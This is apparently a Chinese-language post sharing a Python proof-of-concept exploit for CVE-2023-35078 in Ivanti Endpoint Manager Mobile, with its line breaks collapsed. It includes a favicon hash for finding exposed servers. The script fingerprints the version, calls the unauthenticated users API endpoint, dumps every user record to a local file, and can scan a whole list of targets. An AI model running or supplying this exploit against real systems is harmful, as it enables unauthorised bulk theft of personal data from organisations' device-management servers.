Ivanti EPMM未授权api访问漏洞POC

http.favicon.hash:362091310

import requestsimport argparseimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def banner():    print("""     Ivanti Endpoint Manager Mobile远程未经身份验证的api访问漏洞                use: python cve_2023_35078_poc.py -u http:// or python cve_2023_35078_poc.py -f urls.txt                         Author: kento-sec""")def check_ivanti_mobileiron_version(url):    try:        r = requests.get(url, verify=False)        if r.status_code == 200:            version_start = r.text.find("ui.login.css?")            if version_start != -1:                version_end = r.text.find('"', version_start)                version = r.text[version_start + len("ui.login.css?"):version_end]                print(f"[*] 目标版本: {version}")                if version <= "11.4":                    print(f"[+] 目标存在该漏洞! {url}")                    return True                else:                    print(f"[-] 目标没有漏洞! {url}")                    return False            else:                print(f"[-] 目标没有漏洞! {url}")        else:            print(f"[-] 目标没有漏洞! {url}")    except Exception as e:        print(f"[-] 发生错误: {str(e)}")def get_users(url):    vuln_url = url + "/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"    print(f"[*] 利用目标... {url}")    try:        r = requests.get(vuln_url, verify=False)        if r.status_code == 200:            print("[+] 提取数据:")            print(f"[*] Dumping all users from {vuln_url}")            # Save JSON response to a file with 'utf-8' encoding            # Create a file name with the target URL            filename = url.split("//")[1].split("/")[0] + ".json"            with open(filename, "w", encoding="utf-8") as f:                f.write(r.text)            print("[+] 数据保存到文件: " + filename)            print("[+] 成功利用漏洞进行攻击!")            print("")        else:            print("[-] 攻击失败. 目标没有漏洞.")    except Exception as e:        print(f"[-] 发生错误: {str(e)}")def main():    parser = argparse.ArgumentParser(        description='Ivanti Endpoint Manager Mobile远程未经身份验证的api访问漏洞 CVE-2023-35078')    parser.add_argument('-u', '--url', help='要利用的URL', required=False)    parser.add_argument('-f', '--file', help='包含URL的文件', required=False)  # To check multiple URLs.    args = parser.parse_args()    banner()    if args.file:        print("[*] 从文件中读取URL...")        with open(args.file, "r") as f:            urls = f.readlines()            for url in urls:                try:                    # ignore empty lines                    if url == "n":                        continue                    url = url.strip()                    print(f"[*] 目标: {url}")                    is_vulnerable = check_ivanti_mobileiron_version(url)                    if is_vulnerable:                        get_users(url)                except Exception as e:                    continue    elif args.url:        print(f"[*] 目标: {args.url}")        is_vulnerable = check_ivanti_mobileiron_version(args.url)        if is_vulnerable:            get_users(args.url)if __name__ == "__main__":    main()